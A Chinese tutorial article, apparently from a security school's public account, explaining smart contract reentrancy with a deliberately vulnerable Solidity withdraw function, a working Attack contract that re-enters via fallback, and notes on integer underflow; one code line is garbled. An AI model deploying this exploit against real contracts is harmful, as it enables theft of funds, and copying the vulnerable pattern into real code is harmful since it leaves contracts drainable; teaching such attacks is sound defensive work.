扫码领资料
获网安教程
本文由掌控安全学院 - 君叹 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
智能合约安全
在当今数字化浪潮汹涌澎湃的时代,区块链技术无疑是一颗耀眼的明星,正深刻地重塑着众多领域的运作模式。区块链,本质上是一种去中心化的分布式账本,它通过密码学原理确保了数据的不可篡改与安全性,使得交易信息能够在众多互不信任的节点间实现透明、可靠的记录与验证。而智能合约,则是区块链技术最具创新性与变革性的应用之一。智能合约是一种自动执行的合约条款,以代码形式部署在区块链网络之上。它犹如一位忠诚且严谨的数字化管家,一旦预设的条件被触发,就会自动且精准地执行相应的操作,无需人工干预,从而极大地提高了交易的效率与公正性,减少了人为操作可能带来的误差、欺诈以及冗长的中间环节。无论是金融领域的复杂交易、供应链管理中的物流与支付流程,还是数字资产的交易与管理等场景,智能合约都展现出了巨大的潜力与应用价值。然而,就像任何新兴且强大的技术一样,智能合约在带来便利与机遇的同时,也面临着诸多安全挑战,这些安全隐患犹如隐藏在暗处的礁石,随时可能使智能合约的应用之船触礁搁浅,因此对智能合约安全的深入探讨与研究具有极为重要的现实意义。
简单理解, 智能合约就是运行在区块链上的后端程序, 用来提供服务, 区块链技术是使互联网从web2.0时代迈向web3.0时代的技术, 而Solidity是一种高级编程语言, 在熟悉web逻辑漏洞的情况下, 只要简单入门Solidity, 再结合本教程, 就能快速入门智能合约安全的领域.
Solidity官方文档: https://docs.soliditylang.org/zh/v0.8.21/ Remix: https://remix.ethereum.org/ Remix是基于浏览器的开发Solidity的IDE.
重入攻击
重入攻击的漏洞点存在于先给钱后记帐 我们先来看一段漏洞代码
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 uint) blances;
// 存钱方法
function deposit() public payable {
require(msg.value > 10);
blances[msg.sender] += msg.value;
}
// 查询余额方法
function query() public view returns (uint){
return blances[msg.sender];
}
// 取钱方法
function withdraw(uint blance) public payable {
require(blances[msg.sender] >= blance, "You don't have enough balance");
(bool sent, ) = msg.sender.call{value:blance}(""); // 调用 call 进行转账
if (sent) { // 判断是否转账成功
blances[msg.sender] -= blance; // 转账成功则扣除相应的余额
}
}
}
漏洞点就在上述代码中的withdraw
方法中, 是先进行转账, 然后才扣除相应的余额 这会造成什么问题呢? 很显然开发者没有考虑到存款取款的账户也可以是智能合约 在学习过Solidity后, 我们知道, 智能合约中存在fallback
方法, 用来处理当合约收到转账的情况 先来看我们的攻击代码 随后对原理进行详细讲解
contract Attack {
Blan blan;
bool flag;
constructor(address blan_address) {
blan = Blan(blan_address);
}
function attack() public payable {
require(msg.value == 1 ether);
blan.deposit{value:1 ether}(); // 存入 1eth
blan.withdraw(10 ** 18); // 取出1 eth, 这里以wei为单位, 10**18 wei = 1 eth
}
fallback() external payable {
if (!flag) {
blan.withdraw(10 ** 18);
flag = true;
}
}
}
我们可以看到, 有一个 flag 值 当触发攻击函数后, 会像目标合约存入 1eth 再提取1eth 我们来看一下执行的流程图
图中箭头标注1, 2的部分是第一次访问到这块, 会跟着1走, 第二次再访问到这块, 会走2.
流程图中很明显的告诉我们 漏洞触发的原因是, 当转账给一个智能合约时 会等待该合约的 fallback() 函数执行完成后 才算这行代码执行完毕, 才会接着继续下一行代码 其中利用的像是一种递归的思想
另外此处还存在整型下溢漏洞 会将我的余额变为 2 ** 256 - 1
第一次存入后, 我的余额为1 两次取出后, 我的余额就变成了 1 - 1 - 1, 由于余额是 uint类型表示的 我的余额就会变成 2**256 -1 wei
测试:
编译时选择Solidity7版本, Solidity8中添加了当发生溢出时自动回退的功能.
部署后, 我们首先用默认用户存进去10eth
然后部署攻击合约
设置发送1eth
但是结果我们发现 对方所有eth都到了我们账户上 这是为什么呢?
仔细观察我们攻击代码中的fallback()函数 我们这里也是先触发取款, 才更改flag标记 但是第二次取款的时候, 还是会再次触发fallback函数, 这里也同样是重入漏洞的逻辑, 我们需要先更改flag标志, 再调用取款函数, 才能达到我们上述的效果, 大家可以自行尝试, 这里便不做演示.
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力